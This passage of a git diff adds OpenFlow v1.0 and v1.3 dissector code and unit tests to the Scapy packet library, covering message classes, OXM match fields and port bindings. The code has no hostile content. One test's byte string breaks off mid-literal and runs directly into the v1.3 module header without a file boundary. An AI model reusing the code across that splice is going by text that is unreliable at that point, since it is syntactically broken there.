ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 6, ofp_stats_types), + FlagsField("flags", 0, 16, []), + IntField("vendor", 0)] + + +# ofp_stats_request/reply_cls allows generic method OpenFlow() (end of script) +# to choose the right class for dissection +ofp_stats_request_cls = {0: OFPTStatsRequestDesc, + 1: OFPTStatsRequestFlow, + 2: OFPTStatsRequestAggregate, + 3: OFPTStatsRequestTable, + 4: OFPTStatsRequestPort, + 5: OFPTStatsRequestQueue, + 65535: OFPTStatsRequestVendor} + +ofp_stats_reply_cls = {0: OFPTStatsReplyDesc, + 1: OFPTStatsReplyFlow, + 2: OFPTStatsReplyAggregate, + 3: OFPTStatsReplyTable, + 4: OFPTStatsReplyPort, + 5: OFPTStatsReplyQueue, + 65535: OFPTStatsReplyVendor} + +# end of OFPT_STATS # + + +class OFPTBarrierRequest(_ofp_header): + name = "OFPT_BARRIER_REQUEST" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 18, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTBarrierReply(_ofp_header): + name = "OFPT_BARRIER_REPLY" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 19, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTQueueGetConfigRequest(_ofp_header): + name = "OFPT_QUEUE_GET_CONFIG_REQUEST" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 20, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("port", 0, ofp_port_no), + XShortField("pad", 0)] + + +class OFPTQueueGetConfigReply(_ofp_header): + name = "OFPT_QUEUE_GET_CONFIG_REPLY" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 21, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("port", 0, ofp_port_no), + XBitField("pad", 0, 48), + PacketListField("queues", [], OFPPacketQueue, + length_from=lambda pkt:pkt.len - 16)] + + +# ofpt_cls allows generic method OpenFlow() to choose the right class for dissection # noqa: E501 +ofpt_cls = {0: OFPTHello, + # 1: OFPTError, + 2: OFPTEchoRequest, + 3: OFPTEchoReply, + 4: OFPTVendor, + 5: OFPTFeaturesRequest, + 6: OFPTFeaturesReply, + 7: OFPTGetConfigRequest, + 8: OFPTGetConfigReply, + 9: OFPTSetConfig, + 10: OFPTPacketIn, + 11: OFPTFlowRemoved, + 12: OFPTPortStatus, + 13: OFPTPacketOut, + 14: OFPTFlowMod, + 15: OFPTPortMod, + # 16: OFPTStatsRequest, + # 17: OFPTStatsReply, + 18: OFPTBarrierRequest, + 19: OFPTBarrierReply, + 20: OFPTQueueGetConfigRequest, + 21: OFPTQueueGetConfigReply} + + +bind_bottom_up(TCP, OpenFlow, dport=6653) +bind_bottom_up(TCP, OpenFlow, sport=6653) +bind_bottom_up(TCP, OpenFlow, dport=6633) +bind_bottom_up(TCP, OpenFlow, sport=6633) + +bind_top_down(TCP, _ofp_header, sport=6653, dport=6653) diff --git a/libs/scapy/contrib/openflow.uts b/libs/scapy/contrib/openflow.uts new file mode 100755 index 0000000..6d23634 --- /dev/null +++ b/libs/scapy/contrib/openflow.uts @@ -0,0 +1,99 @@ +% Tests for OpenFlow v1.0 with Scapy + ++ Preparation += Be sure we have loaded OpenFlow v1 +load_contrib("openflow") + ++ Usual OFv1.0 messages + += OFPTHello(), simple hello message +ofm = OFPTHello() +raw(ofm) == b'\x01\x00\x00\x08\x00\x00\x00\x00' + += OFPTEchoRequest(), echo request +ofm = OFPTEchoRequest() +raw(ofm) == b'\x01\x02\x00\x08\x00\x00\x00\x00' + += OFPMatch(), check wildcard completion +ofm = OFPMatch(in_port=1, nw_tos=8) +ofm = OFPMatch(raw(ofm)) +assert(ofm.wildcards1 == 0x1) +ofm.wildcards2 == 0xee + += OpenFlow(), generic method test with OFPTEchoRequest() +ofm = OFPTEchoRequest() +s = raw(ofm) +isinstance(OpenFlow(s), OFPTEchoRequest) + += OFPTFlowMod(), check codes and defaults values +ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_port='CONTROLLER', flags='CHECK_OVERLAP+EMERG') +assert(ofm.cmd == 3) +assert(ofm.buffer_id == 0xffffffff) +assert(ofm.out_port == 0xfffd) +ofm.flags == 6 + ++ Complex OFv1.0 messages + += OFPTFlowMod(), complex flow_mod +mtc = OFPMatch(dl_vlan=10, nw_src='192.168.42.0', nw_src_mask=8) +act1 = OFPATSetNwSrc(nw_addr='192.168.42.1') +act2 = OFPATOutput(port='CONTROLLER') +act3 = OFPATSetDlSrc(dl_addr='1a:d5:cb:4e:3c:64') +ofm = OFPTFlowMod(priority=1000, match=mtc, flags='CHECK_OVERLAP', actions=[act1,act2,act3]) +raw(ofm) +s = b'\x01\x0e\x00h\x00\x00\x00\x00\x00?\xc8\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x08\x00\x00\x00\x00\x00\xc0\xa8*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe8\xff\xff\xff\xff\xff\xff\x00\x02\x00\x06\x00\x08\xc0\xa8*\x01\x00\x00\x00\x08\xff\xfd\xff\xff\x00\x04\x00\x10\x1a\xd5\xcbN +# This program is published under a GPLv2 license + +# Copyright (C) 2014 Maxence Tury +# OpenFlow is an open standard used in SDN deployments. +# Based on OpenFlow v1.3.4 +# Specifications can be retrieved from https://www.opennetworking.org/ + +# scapy.contrib.description = OpenFlow v1.3 +# scapy.contrib.status = loads + +from __future__ import absolute_import +import copy +import struct + + +from scapy.compat import orb, raw +from scapy.config import conf +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + FieldLenField, FlagsField, IntEnumField, IntField, IPField, \ + LongField, MACField, PacketField, PacketListField, ShortEnumField, \ + ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, \ + XIntField, XShortField, PacketLenField +from scapy.layers.l2 import Ether +from scapy.packet import Packet, Padding, Raw +from scapy.modules import six + +from scapy.contrib.openflow import _ofp_header, _ofp_header_item, \ + OFPacketField, OpenFlow, _UnknownOpenFlow + +##################################################### +# Predefined values # +##################################################### + +ofp_port_no = {0xfffffff8: "IN_PORT", + 0xfffffff9: "TABLE", + 0xfffffffa: "NORMAL", + 0xfffffffb: "FLOOD", + 0xfffffffc: "ALL", + 0xfffffffd: "CONTROLLER", + 0xfffffffe: "LOCAL", + 0xffffffff: "ANY"} + +ofp_group = {0xffffff00: "MAX", + 0xfffffffc: "ALL", + 0xffffffff: "ANY"} + +ofp_table = {0xfe: "MAX", + 0xff: "ALL"} + +ofp_queue = {0xffffffff: "ALL"} + +ofp_meter = {0xffff0000: "MAX", + 0xfffffffd: "SLOWPATH", + 0xfffffffe: "CONTROLLER", + 0xffffffff: "ALL"} + +ofp_buffer = {0xffffffff: "NO_BUFFER"} + +ofp_max_len = {0xffff: "NO_BUFFER"} + + +##################################################### +# Common structures # +##################################################### + +# The following structures will be used in different types +# of OpenFlow messages: ports, matches/OXMs, actions, +# instructions, buckets, queues, meter bands. + + +# Hello elements # + + +ofp_hello_elem_types = {1: "OFPHET_VERSIONBITMAP"} + + +class OFPHET(_ofp_header): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_hello_elem_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPHETVersionBitmap(_ofp_header): + name = "OFPHET_VERSIONBITMAP" + fields_desc = [ShortEnumField("type", 1, ofp_hello_elem_types), + ShortField("len", 8), + FlagsField("bitmap", 0, 32, ["Type 0", + "OFv1.0", + "OFv1.1", + "OFv1.2", + "OFv1.3", + "OFv1.4", + "OFv1.5"])] + + +ofp_hello_elem_cls = {1: OFPHETVersionBitmap} + + +# Ports # + +ofp_port_config = ["PORT_DOWN", + "NO_STP", # undefined in v1.3 + "NO_RECV", + "NO_RECV_STP", # undefined in v1.3 + "NO_FLOOD", # undefined in v1.3 + "NO_FWD", + "NO_PACKET_IN"] + +ofp_port_state = ["LINK_DOWN", + "BLOCKED", + "LIVE"] + +ofp_port_features = ["10MB_HD", + "10MB_FD", + "100MB_HD", + "100MB_FD", + "1GB_HD", + "1GB_FD", + "10GB_FD", + "40GB_FD", + "100GB_FD", + "1TB_FD", + "OTHER", + "COPPER", + "FIBER", + "AUTONEG", + "PAUSE", + "PAUSE_ASYM"] + + +class OFPPort(Packet): + name = "OFP_PHY_PORT" + fields_desc = [IntEnumField("port_no", 0, ofp_port_no), + XIntField("pad1", 0), + MACField("hw_addr", "0"), + XShortField("pad2", 0), + StrFixedLenField("port_name", "", 16), + FlagsField("config", 0, 32, ofp_port_config), + FlagsField("state", 0, 32, ofp_port_state), + FlagsField("curr", 0, 32, ofp_port_features), + FlagsField("advertised", 0, 32, ofp_port_features), + FlagsField("supported", 0, 32, ofp_port_features), + FlagsField("peer", 0, 32, ofp_port_features), + IntField("curr_speed", 0), + IntField("max_speed", 0)] + + def extract_padding(self, s): + return b"", s + + +# Matches & OXMs # + +ofp_oxm_classes = {0: "OFPXMC_NXM_0", + 1: "OFPXMC_NXM_1", + 0x8000: "OFPXMC_OPENFLOW_BASIC", + 0xffff: "OFPXMC_EXPERIMENTER"} + +ofp_oxm_names = {0: "OFB_IN_PORT", + 1: "OFB_IN_PHY_PORT", + 2: "OFB_METADATA", + 3: "OFB_ETH_DST", + 4: "OFB_ETH_SRC", + 5: "OFB_ETH_TYPE", + 6: "OFB_VLAN_VID", + 7: "OFB_VLAN_PCP", + 8: "OFB_IP_DSCP", + 9: "OFB_IP_ECN", + 10: "OFB_IP_PROTO", + 11: "OFB_IPV4_SRC", + 12: "OFB_IPV4_DST", + 13: "OFB_TCP_SRC", + 14: "OFB_TCP_DST", + 15: "OFB_UDP_SRC", + 16: "OFB_UDP_DST", + 17: "OFB_SCTP_SRC", + 18: "OFB_SCTP_DST", + 19: "OFB_ICMPV4_TYPE", + 20: "OFB_ICMPV4_CODE", + 21: "OFB_ARP_OP", + 22: "OFB_ARP_SPA", + 23: "OFB_ARP_TPA", + 24: "OFB_ARP_SHA", + 25: "OFB_ARP_THA", + 26: "OFB_IPV6_SRC", + 27: "OFB_IPV6_DST", + 28: "OFB_IPV6_FLABEL", + 29: "OFB_ICMPV6_TYPE", + 30: "OFB_ICMPV6_CODE", + 31: "OFB_IPV6_ND_TARGET", + 32: "OFB_IPV6_ND_SLL", + 33: "OFB_IPV6_ND_TLL", + 34: "OFB_MPLS_LABEL", + 35: "OFB_MPLS_TC", + 36: "OFB_MPLS_BOS", + 37: "OFB_PBB_ISID", + 38: "OFB_TUNNEL_ID", + 39: "OFB_IPV6_EXTHDR"} + +ofp_oxm_constr = {0: ["OFBInPort", "in_port", 4], + 1: ["OFBInPhyPort", "in_phy_port", 4], + 2: ["OFBMetadata", "metadata", 8], + 3: ["OFBEthDst", "eth_dst", 6], + 4: ["OFBEthSrc", "eth_src", 6], + 5: ["OFBEthType", "eth_type", 2], + 6: ["OFBVLANVID", "vlan_vid", 2], + 7: ["OFBVLANPCP", "vlan_pcp", 1], + 8: ["OFBIPDSCP", "ip_dscp", 1], + 9: ["OFBIPECN", "ip_ecn", 1], + 10: ["OFBIPProto", "ip_proto", 1], + 11: ["OFBIPv4Src", "ipv4_src", 4], + 12: ["OFBIPv4Dst", "ipv4_dst", 4], + 13: ["OFBTCPSrc", "tcp_src", 2], + 14: ["OFBTCPDst", "tcp_dst", 2], + 15: ["OFBUDPSrc", "udp_src", 2], + 16: ["OFBUDPDst", "udp_dst", 2], + 17: ["OFBSCTPSrc", "sctp_src", 2], + 18: ["OFBSCTPDst", "sctp_dst", 2], + 19: ["OFBICMPv4Type", "icmpv4_type", 1], + 20: ["OFBICMPv4Code", "icmpv4_code", 1], + 21: ["OFBARPOP", "arp_op", 2], + 22: ["OFBARPSPA", "arp_spa", 4], + 23: ["OFBARPTPA", "arp_tpa", 4], + 24: ["OFBARPSHA", "arp_sha", 6], + 25: ["OFBARPTHA", "arp_tha", 6], + 26: ["OFBIPv6Src", "ipv6_src", 16], + 27: ["OFBIPv6Dst", "ipv6_dst", 16], + 28: ["OFBIPv6FLabel", "ipv6_flabel", 4], + 29: ["OFBICMPv6Type", "icmpv6_type", 1], + 30: ["OFBICMPv6Code", "icmpv6_code", 1], + 31: ["OFBIPv6NDTarget", "ipv6_nd_target", 16], + 32: ["OFBIPv6NDSLL", "ipv6_sll", 6], + 33: ["OFBIPv6NDTLL", "ipv6_tll", 6], + 34: ["OFBMPLSLabel", "mpls_label", 4], + 35: ["OFBMPLSTC", "mpls_tc", 1], + 36: ["OFBMPLSBoS", "mpls_bos", 1], + 37: ["OFBPBBISID", "pbb_isid", 3], + 38: ["OFBTunnelID", "tunnel_id", 8], + 39: ["OFBIPv6ExtHdr", "ipv6_ext_hdr_flags", 2]} + +# the ipv6flags array is useful only to the OFBIPv6ExtHdr class +ipv6flags = ["NONEXT", + "ESP", + "AUTH", + "DEST", + "FRAG", + "ROUTER", + "HOP", + "UNREP", + "UNSEQ"] + +# here we fill ofp_oxm_fields with the fields that will be used +# to generate the various OXM classes +# e.g. the call to add_ofp_oxm_fields(0, ["OFBInPort", "in_port", 4]) +# will add {0: [ShortEnumField("class",..), BitEnumField("field",..),..]} +ofp_oxm_fields = {} + + +def add_ofp_oxm_fields(i, org): + ofp_oxm_fields[i] = [ShortEnumField("class", "OFPXMC_OPENFLOW_BASIC", ofp_oxm_classes), # noqa: E501 + BitEnumField("field", i // 2, 7, ofp_oxm_names), + BitField("hasmask", i % 2, 1)] + ofp_oxm_fields[i].append(ByteField("len", org[2] + org[2] * (i % 2))) + if i // 2 == 0: # OFBInPort + ofp_oxm_fields[i].append(IntEnumField(org[1], 0, ofp_port_no)) + elif i // 2 == 3 or i // 2 == 4: # OFBEthSrc & OFBEthDst + ofp_oxm_fields[i].append(MACField(org[1], None)) + elif i // 2 == 11 or i // 2 == 12: # OFBIPv4Src & OFBIPv4Dst + ofp_oxm_fields[i].append(IPField(org[1], "0")) + elif i // 2 == 39: # OFBIPv6ExtHdr + ofp_oxm_fields[i].append(FlagsField(org[1], 0, 8 * org[2], ipv6flags)) + else: + ofp_oxm_fields[i].append(BitField(org[1], 0, 8 * org[2])) + if i % 2: + ofp_oxm_fields[i].append(BitField(org[1] + "_mask", 0, 8 * org[2])) + + +# some HM classes are not supported par OFv1.3 but we will create them anyway +for i, cls in ofp_oxm_constr.items(): + add_ofp_oxm_fields(2 * i, cls) + add_ofp_oxm_fields(2 * i + 1, cls) + +# now we create every OXM class with the same call, +# (except that static variable create_oxm_class.i is each time different) +# and we fill ofp_oxm_cls with them +ofp_oxm_cls = {} +ofp_oxm_id_cls = {} + + +def _create_oxm_cls(): + # static variable initialization + if not hasattr(_create_oxm_cls, "i"): + _create_oxm_cls.i = 0 + + index = _create_oxm_cls.i + cls_name = ofp_oxm_constr[index // 4][0] + # we create standard OXM then OXM ID then OXM with mask then OXM-hasmask ID + if index % 4 == 2: + cls_name += "HM" + if index % 2: + cls_name += "ID" + + oxm_name = ofp_oxm_names[index // 4] + oxm_fields = ofp_oxm_fields[index // 2] + # for ID classes we just want the first 4 fields (no payload) + if index % 2: + oxm_fields = oxm_fields[:4] + + cls = type(cls_name, (Packet,), {"name": oxm_name, "fields_desc": oxm_fields}) # noqa: E501 + # the first call to special function type will create the same class as in + # class OFBInPort(Packet): + # def __init__(self): + # self.name = "OFB_IN_PORT" + # self.fields_desc = [ ShortEnumField("class", 0x8000, ofp_oxm_classes), + # BitEnumField("field", 0, 7, ofp_oxm_names), + # BitField("hasmask", 0, 1), + # ByteField("len", 4), + # IntEnumField("in_port", 0, ofp_port_no) ] + + if index % 2 == 0: + ofp_oxm_cls[index // 2] = cls + else: + ofp_oxm_id_cls[index // 2] = cls + _create_oxm_cls.i += 1 + cls.extract_padding = lambda self, s: (b"", s) + return cls + + +OFBInPort = _create_oxm_cls() +OFBInPortID = _create_oxm_cls() +OFBInPortHM = _create_oxm_cls() +OFBInPortHMID = _create_oxm_cls() +OFBInPhyPort = _create_oxm_cls() +OFBInPhyPortID = _create_oxm_cls() +OFBInPhyPortHM = _create_oxm_cls() +OFBInPhyPortHMID = _create_oxm_cls() +OFBMetadata = _create_oxm_cls() +OFBMetadataID = _create_oxm_cls() +OFBMetadataHM = _create_oxm_cls() +OFBMetadataHMID = _create_oxm_cls() +OFBEthDst = _create_oxm_cls() +OFBEthDstID = _create_oxm_cls() +OFBEthDstHM = _create_oxm_cls() +OFBEthDstHMID = _create_oxm_cls() +OFBEthSrc = _create_oxm_cls() +OFBEthSrcID = _create_oxm_cls() +OFBEthSrcHM = _create_oxm_cls() +OFBEthSrcHMID = _create_oxm_cls() +OFBEthType = _create_oxm_cls() +OFBEthTypeID = _create_oxm_cls() +OFBEthTypeHM = _create_oxm_cls() +OFBEthTypeHMID = _create_oxm_cls() +OFBVLANVID = _create_oxm_cls() +OFBVLANVIDID = _create_oxm_cls() +OFBVLANVIDHM = _create_oxm_cls() +OFBVLANVIDHMID = _create_oxm_cls() +OFBVLANPCP = _create_oxm_cls() +OFBVLANPCPID = _create_oxm_cls() +OFBVLANPCPHM = _create_oxm_cls() +OFBVLANPCPHMID = _create_oxm_cls() +OFBIPDSCP = _create_oxm_cls() +OFBIPDSCPID = _create_oxm_cls() +OFBIPDSCPHM = _create_oxm_cls() +OFBIPDSCPHMID = _create_oxm_cls() +OFBIPECN = _create_oxm_cls() +OFBIPECNID = _create_oxm_cls() +OFBIPECNHM = _create_oxm_cls() +OFBIPECNHMID = _create_oxm_cls() +OFBIPProto = _create_oxm_cls() +OFBIPProtoID = _create_oxm_cls() +OFBIPProtoHM = _create_oxm_cls() +OFBIPProtoHMID = _create_oxm_cls() +OFBIPv4Src = _create_oxm_cls() +OFBIPv4SrcID = _create_oxm_cls() +OFBIPv4SrcHM = _create_oxm_cls() +OFBIPv4SrcHMID = _create_oxm_cls() +OFBIPv4Dst = _create_oxm_cls() +OFBIPv4DstID = _create_oxm_cls() +OFBIPv4DstHM = _create_oxm_cls() +OFBIPv4DstHMID = _create_oxm_cls() +OFBTCPSrc = _create_oxm_cls() +OFBTCPSrcID = _create_oxm_cls() +OFBTCPSrcHM = _create_oxm_cls() +OFBTCPSrcHMID = _create_oxm_cls() +OFBTCPDst = _create_oxm_cls() +OFBTCPDstID = _create_oxm_cls() +OFBTCPDstHM = _create_oxm_cls() +OFBTCPDstHMID = _create_oxm_cls() +OFBUDPSrc = _create_oxm_cls() +OFBUDPSrcID = _create_oxm_cls() +OFBUDPSrcHM = _create_oxm_cls() +OFBUDPSrcHMID = _create_oxm_cls() +OFBUDPDst = _create_oxm_cls() +OFBUDPDstID = _create_oxm_cls() +OFBUDPDstHM = _create_oxm_cls() +OFBUDPDstHMID = _create_oxm_cls() +OFBSCTPSrc = _create_oxm_cls() +OFBSCTPSrcID = _create_oxm_cls() +OFBSCTPSrcHM = _create_oxm_cls() +OFBSCTPSrcHMID = _create_oxm_cls() +OFBSCTPDst = _create_oxm_cls() +OFBSCTPDstID = _create_oxm_cls() +OFBSCTPDstHM = _create_oxm_cls() +OFBSCTPDstHMID = _create_oxm_cls() +OFBICMPv4Type = _create_oxm_cls() +OFBICMPv4TypeID = _create_oxm_cls() +OFBICMPv4TypeHM = _create_oxm_cls() +OFBICMPv4TypeHMID = _create_oxm_cls() +OFBICMPv4Code = _create_oxm_cls() +OFBICMPv4CodeID = _create_oxm_cls() +OFBICMPv4CodeHM = _create_oxm_cls() +OFBICMPv4CodeHMID = _create_oxm_cls() +OFBARPOP = _create_oxm_cls() +OFBARPOPID = _create_oxm_cls() +OFBARPOPHM = _create_oxm_cls() +OFBARPOPHMID = _create_oxm_cls() +OFBARPSPA = _create_oxm_cls() +OFBARPSPAID = _create_oxm_cls() +OFBARPSPAHM = _create_oxm_cls() +OFBARPSPAHMID = _create_oxm_cls() +OFBARPTPA = _create_oxm_cls() +OFBARPTPAID = _create_oxm_cls() +OFBARPTPAHM = _create_oxm_cls() +OFBARPTPAHMID = _create_oxm_cls() +OFBARPSHA = _create_oxm_cls() +OFBARPSHAID = _create_oxm_cls() +OFBARPSHAHM = _create_oxm_cls() +OFBARPSHAHMID = _create_oxm_cls() +OFBARPTHA = _create_oxm_cls() +OFBARPTHAID = _create_oxm_cls() +OFBARPTHAHM = _create_oxm_cls() +OFBARPTHAHMID = _create_oxm_cls() +OFBIPv6Src = _create_oxm_cls() +OFBIPv6SrcID = _create_oxm_cls() +OFBIPv6SrcHM = _create_oxm_cls() +OFBIPv6SrcHMID = _create_oxm_cls() +OFBIPv6Dst = _create_oxm_cls() +OFBIPv6DstID = _create_oxm_cls() +OFBIPv6DstHM = _create_oxm_cls() +OFBIPv6DstHMID = _create_oxm_cls() +OFBIPv6FLabel = _create_oxm_cls() +OFBIPv6FLabelID = _create_oxm_cls() +OFBIPv6FLabelHM = _create_oxm_cls() +OFBIPv6FLabelHMID = _create_oxm_cls() +OFBICMPv6Type = _create_oxm_cls() +OFBICMPv6TypeID = _create_oxm_cls() +OFBICMPv6TypeHM = _create_oxm_cls() +OFBICMPv6TypeHMID = _create_oxm_cls() +OFBICMPv6Code = _create_oxm_cls() +OFBICMPv6CodeID = _create_oxm_cls() +OFBICMPv6CodeHM = _create_oxm_cls() +OFBICMPv6CodeHMID = _create_oxm_cls() +OFBIPv6NDTarget = _create_oxm_cls() +OFBIPv6NDTargetID = _create_oxm_cls() +OFBIPv6NDTargetHM = _create_oxm_cls() +OFBIPv6NDTargetHMID = _create_oxm_cls() +OFBIPv6NDSLL = _create_oxm_cls() +OFBIPv6NDSLLID = _create_oxm_cls() +OFBIPv6NDSLLHM = _create_oxm_cls() +OFBIPv6NDSLLHMID = _create_oxm_cls() +OFBIPv6NDTLL = _create_oxm_cls() +OFBIPv6NDTLLID = _create_oxm_cls() +OFBIPv6NDTLLHM = _create_oxm_cls() +OFBIPv6NDTLLHMID = _create_oxm_cls() +OFBMPLSLabel = _create_oxm_cls() +OFBMPLSLabelID = _create_oxm_cls() +OFBMPLSLabelHM = _create_oxm_cls() +OFBMPLSLabelHMID = _create_oxm_cls() +OFBMPLSTC = _create_oxm_cls() +OFBMPLSTCID = _create_oxm_cls() +OFBMPLSTCHM = _create_oxm_cls() +OFBMPLSTCHMID = _create_oxm_cls() +OFBMPLSBoS = _create_oxm_cls() +OFBMPLSBoSID = _create_oxm_cls() +OFBMPLSBoSHM = _create_oxm_cls() +OFBMPLSBoSHMID = _create_oxm_cls() +OFBPBBISID = _create_oxm_cls() +OFBPBBISIDID = _create_oxm_cls() +OFBPBBISIDHM = _create_oxm_cls() +OFBPBBISIDHMID = _create_oxm_cls() +OFBTunnelID = _create_oxm_cls() +OFBTunnelIDID = _create_oxm_cls() +OFBTunnelIDHM = _create_oxm_cls() +OFBTunnelIDHMID = _create_oxm_cls() +OFBIPv6ExtHdr = _create_oxm_cls() +OFBIPv6ExtHdrID = _create_oxm_cls() +OFBIPv6ExtHdrHM = _create_oxm_cls() +OFBIPv6ExtHdrHMID = _create_oxm_cls() + +# need_prereq holds a list of prerequisites defined in 7.2.3.8 of the specifications # noqa: E501 +# e.g. if you want to use an OFBTCPSrc instance (code 26) +# you first need to declare an OFBIPProto instance (code 20) with value 6, +# and if you want to use an OFBIPProto instance (still code 20) +# you first need to declare an OFBEthType instance (code 10) with value 0x0800 +# (0x0800 means IPv4 by default, but you might want to use 0x86dd with IPv6) +# need_prereq codes are two times higher than previous oxm classes codes, +# except for 21 which is sort of a proxy for IPv6 (see below) +need_prereq = {14: [12, 0x1000], + 16: [10, 0x0800], # could be 0x86dd + 18: [10, 0x0800], # could be 0x86dd + 20: [10, 0x0800], # could be 0x86dd + 21: [10, 0x86dd], + 22: [10, 0x0800], + 24: [10, 0x0800], + 26: [20, 6], + 28: [20, 6], + 30: [20, 17], + 32: [20, 17], + 34: [20, 132], + 36: [20, 132], + 38: [20, 1], + 40: [20, 1], + 42: [10, 0x0806], + 44: [10, 0x0806], + 46: [10, 0x0806], + 48: [10, 0x0806], + 50: [10, 0x0806], + 52: [10, 0x86dd], + 54: [10, 0x86dd], + 56: [10, 0x86dd], + 58: [21, 58], # small trick here, we refer to normally non- + 60: [21, 58], # existent field 21 to distinguish ipv6 + 62: [58, 135], # could be 136 + 64: [58, 135], + 66: [58, 136], + 68: [10, 0x8847], # could be 0x8848 + 70: [10, 0x8847], # could be 0x8848 + 72: [10, 0x8847], # could be 0x8848 + 74: [10, 0x88e7], + 78: [10, 0x86dd]} + + +class OXMPacketListField(PacketListField): + + __slots__ = ["autocomplete", "index"] + + def __init__(self, name, default, cls, length_from=None, autocomplete=False): # noqa: E501 + PacketListField.__init__(self, name, default, cls, length_from=length_from) # noqa: E501 + self.autocomplete = autocomplete + self.index = [] + + def i2m(self, pkt, val): + # this part makes for a faster writing of specs-compliant matches + # expect some unwanted behaviour if you try incoherent associations + # you might want to set autocomplete=False in __init__ method + if self.autocomplete or conf.contribs['OPENFLOW']['prereq_autocomplete']: # noqa: E501 + # val might be modified during the loop so we need a fixed copy + fix_val = copy.deepcopy(val) + for oxm in fix_val: + f = 2 * oxm.field + fix_index = list(self.index) + while f in need_prereq: + # this loop enables a small recursion + # e.g. ipv6_nd<--icmpv6<--ip_proto<--eth_type + prereq = need_prereq[f] + f = prereq[0] + f2 = 20 if f == 21 else f # ipv6 trick... + if f2 not in fix_index: + self.index.insert(0, f2) + prrq = ofp_oxm_cls[f2]() # never HM + setattr(prrq, ofp_oxm_constr[f2 // 2][1], prereq[1]) + val.insert(0, prrq) + # we could do more complicated stuff to + # make sure prerequisite order is correct + # but it works well when presented with any coherent input + # e.g. you should not mix OFBTCPSrc with OFBICMPv6Code + # and expect to get coherent results... + # you can still go manual by setting prereq_autocomplete=False # noqa: E501 + return val + + def m2i(self, pkt, s): + t = orb(s[2]) + nrm_t = t - t % 2 + if nrm_t not in self.index: + self.index.append(nrm_t) + return ofp_oxm_cls.get(t, Raw)(s) + + @staticmethod + def _get_oxm_length(s): + return orb(s[3]) + + def addfield(self, pkt, s, val): + return s + b"".join(raw(x) for x in self.i2m(pkt, val)) + + def getfield(self, pkt, s): + lst = [] + lim = self.length_from(pkt) + ret = s[lim:] + remain = s[:lim] + + while remain and len(remain) > 4: + tmp_len = OXMPacketListField._get_oxm_length(remain) + 4 + # this could also be done by parsing oxm_fields (fixed lengths) + if tmp_len <= 4 or len(remain) < tmp_len: + # no incoherent length + break + current = remain[:tmp_len] + remain = remain[tmp_len:] + p = self.m2i(pkt, current) + lst.append(p) + + self.index = [] + # since OXMPacketListField is called only twice (when OFPMatch and OFPSetField # noqa: E501 + # classes are created) and not when you want to instantiate an OFPMatch, # noqa: E501 + # index needs to be reinitialized, otherwise there will be some conflicts # noqa: E501 + # e.g. if you create OFPMatch with OFBTCPSrc and then change to OFBTCPDst, # noqa: E501 + # index will already be filled with ethertype and nwproto codes, + # thus the corresponding fields will not be added to the packet + return remain + ret, lst + + +class OXMID(Packet): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = orb(_pkt[2]) + return ofp_oxm_id_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPMatch(Packet): + name = "OFP_MATCH" + fields_desc = [ShortEnumField("type", 1, {0: "OFPMT_STANDARD", + 1: "OFPMT_OXM"}), + ShortField("len", None), + OXMPacketListField("oxm_fields", [], Packet, + length_from=lambda pkt:pkt.len - 4)] + + def post_build(self, p, pay): + tmp_len = self.len + if tmp_len is None: + tmp_len = len(p) + len(pay) + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + zero_bytes = (8 - tmp_len % 8) % 8 + p += b"\x00" * zero_bytes + # message with user-defined length will not be automatically padded + return p + pay + + def extract_padding(self, s): + tmp_len = self.len + zero_bytes = (8 - tmp_len % 8) % 8 + return s[zero_bytes:], s[:zero_bytes] + +# ofp_match is no longer a fixed-length structure in v1.3 +# furthermore it may include variable padding +# we introduce to that end a subclass of PacketField + + +class MatchField(PacketField): + def __init__(self, name): + PacketField.__init__(self, name, OFPMatch(), OFPMatch) + + def getfield(self, pkt, s): + i = self.m2i(pkt, s) + # i can be or > + # or > or >> + # and we want to return "", or "", > + # or raw(), or raw(), > + if Raw in i: + r = i[Raw] + if Padding in r: + p = r[Padding] + i.payload = p + del(r.payload) + return r.load, i + else: + return b"", i + + +# Actions # + + +class OpenFlow3(OpenFlow): + name = "OpenFlow v1.3 dissector" + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + # port 6653 has been allocated by IANA, port 6633 should no + # longer be used + # OpenFlow3 function may be called with None self in OFPPacketField + of_type = orb(_pkt[1]) + if of_type == 1: + err_type = orb(_pkt[9]) + # err_type is a short int, but last byte is enough + if err_type == 255: + err_type = 65535 + return ofp_error_cls[err_type] + elif of_type == 18: + mp_type = orb(_pkt[9]) + if mp_type == 255: + mp_type = 65535 + return ofp_multipart_request_cls[mp_type] + elif of_type == 19: + mp_type = orb(_pkt[9]) + if mp_type == 255: + mp_type = 65535 + return ofp_multipart_reply_cls[mp_type] + else: + return ofpt_cls[of_type] + return _UnknownOpenFlow + + +ofp_action_types = {0: "OFPAT_OUTPUT", + 1: "OFPAT_SET_VLAN_VID", + 2: "OFPAT_SET_VLAN_PCP", + 3: "OFPAT_STRIP_VLAN", + 4: "OFPAT_SET_DL_SRC", + 5: "OFPAT_SET_DL_DST", + 6: "OFPAT_SET_NW_SRC", + 7: 